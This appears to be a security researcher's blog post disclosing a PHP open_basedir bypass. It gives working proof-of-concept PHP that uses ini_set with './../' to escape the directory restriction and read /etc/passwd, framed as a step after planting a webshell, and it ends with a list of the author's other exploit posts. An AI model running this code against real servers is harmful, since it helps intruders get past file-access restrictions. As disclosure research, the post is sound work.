PHP open_basedir bypass

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaining a remote code execution and be restricted by open_basedir and disable_functions, preventing us from reading etc/passwd or turning it into a remote shell. Let’s focus here on the former.

The directive open_basedir can be set in the php.ini file, and prevents PHP from reading file beyond a defined scope. For instance, if it is set to /var/www/html/myapp, trying to execute file_get_contents("/etc/passwd") should miserably fail. One could consider it as a security measure, but this is not everyone’s opinion. Let’s suppose now that an attacker managed to upload their webshell on a server where open_basedir is enforced, and exec-like function disabled. How to read /etc/passwd, then ?

It is quite well known that having the ability to call ini_set at runtime could lead to an open_basedir bypass. The latter is defined in a ini file but can be tighten at runtime, meaning that we can programmatically add more directories to the directive as long as they are sub-directories from the first one. For instance, if chevre is a child of /var/www/html/myapp, one can add it in the directive:

open_basedir=/var/www/html/myapp:chevre/

but trying to add /etc is forbidden.

To do so, the attacker first needs to create a sub-directory and to move into it (let’s assume we are in /var/www/html/myapp, and the latter is writeable. Let’s also assume that open_basedir is set to /var/www/html/myapp, preventing it us from reading/writing in upper directories):

<?php
    mkdir("dindon");
    chdir("dindon");

Now, once the execution context has moved to the directory /var/www/html/myapp/dindon, we can refer to the parent directory by appending ../. Indeed, since this ../ would refer to /var/www/html/myapp, the path would still belong to the already restricted path, and thus be allowed, leading to the following directive:

open_basedir=/var/www/html/myapp:../

Once done, we can simply move upper, and reach the Holy Grail:

<?php
    mkdir("dindon");
    chdir("dindon");
    ini_set("open_basedir", ini_get("open_basedir").":../");
    chdir(".."); //now we are in /var/www/html/myapp
    chdir(".."); //now in /var/www/html
    chdir(".."); //almost there, we are in /var/www
    chdir(".."); //one step more, we are in /var
    chdir(".."); //yay, we landed in /

The issue was reported https://bugs.php.net/bug.php?id=76359, and as someone wrote:

Indeed, this is not a security issue according to our classification[1].

[1] https://wiki.php.net/security

Hmmm, still, the issue was patched, but still disputed, considered as a misused directive instead of a real bug (https://github.com/php/php-src/pull/7024).

I was peacefully working on a PHP tool to bypass disable_functions directive, with the desire to first bypass open_basedir. It was PHP 7.3.29 and the bypass was working like a charm. But when it came to run it on a VM with PHP 8.1, it failed. I was indeed not able to append ../ to the directive. Quite frustrated, I took a look at the issue, and then at its patch:

bypass fix

One can see here that the code checks whether the 1st and 2nd character are dots, and that the 3rd one is either a null or a slash. But what if the 2nd character is a slash, with a path being something like './..' ?

Indeed, I changed my payload to something like:

<?php
    mkdir("dindon");
    chdir("dindon");
    ini_set("open_basedir", ini_get("open_basedir").":./../"); //here, prepend with ./
    chdir(".."); //now we are in /var/www/html/myapp
    chdir(".."); //now in /var/www/html
    chdir(".."); //almost there, we are in /var/www
    chdir(".."); //one step more, we are in /var
    chdir(".."); //yay, we landed in /

and landed into / :smiley:

I then wrote a small PoC and tried it on a Docker running PHP 8.2.2RC1.:

<?php
  function read_etc_passwd(){
    $content = @file_get_contents("/etc/passwd");
    if ($content !== false){echo $content;}
    else {echo "Nope, /etc/passwd not readable".PHP_EOL;}
  }
  echo "Running PHP version ".PHP_VERSION.PHP_EOL;
  read_etc_passwd();
  $path = "a/b/c";
  $here = getcwd();
  if (mkdir($path, 0777, true)){
    chdir($path);
    ini_set("open_basedir", ini_get('open_basedir').":../../../");
    chdir($here);
    echo "open_basedir directive is still ".ini_get('open_basedir').PHP_EOL;
    read_etc_passwd();
  }

  $path = "d/e/f";
  if (mkdir($path, 0777, true)){
    chdir($path);
    ini_set("open_basedir", ini_get('open_basedir').":./../../../");
    chdir($here);
    echo "open_basedir directive is now ".ini_get('open_basedir').PHP_EOL;
    read_etc_passwd();
  }
?>

And the result was as follows:

bypass fix

The issue was reported here and I guess that it will not be considered as a security issue. But still, does it really make sense to allow dot-dot-slash in such path ??

2024

Exploiting CVE-2024-37148

3 minute read

Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...

Exploiting CVE-2024-27096

7 minute read

Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...

Back to Top ↑

2023

From SSRF to authentication bypass

4 minute read

I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...

Hidden in plain sight - Part 2

10 minute read

A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...

I want to talk to your managed code

12 minute read

TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...

Qakbot JScript dropper analysis

11 minute read

It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...

CVE-2023-3033

3 minute read

This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...

CVE-2023-3032

less than 1 minute read

Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...

CVE-2023-3031

less than 1 minute read

King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...

FuckFastCGI made simpler

3 minute read

Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...

PHP .user.ini risks

6 minute read

I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...

PHP open_basedir bypass

3 minute read

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...

Back to Top ↑

2020

Self modifying C program - Polymorphic

17 minute read

A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...

Back to Top ↑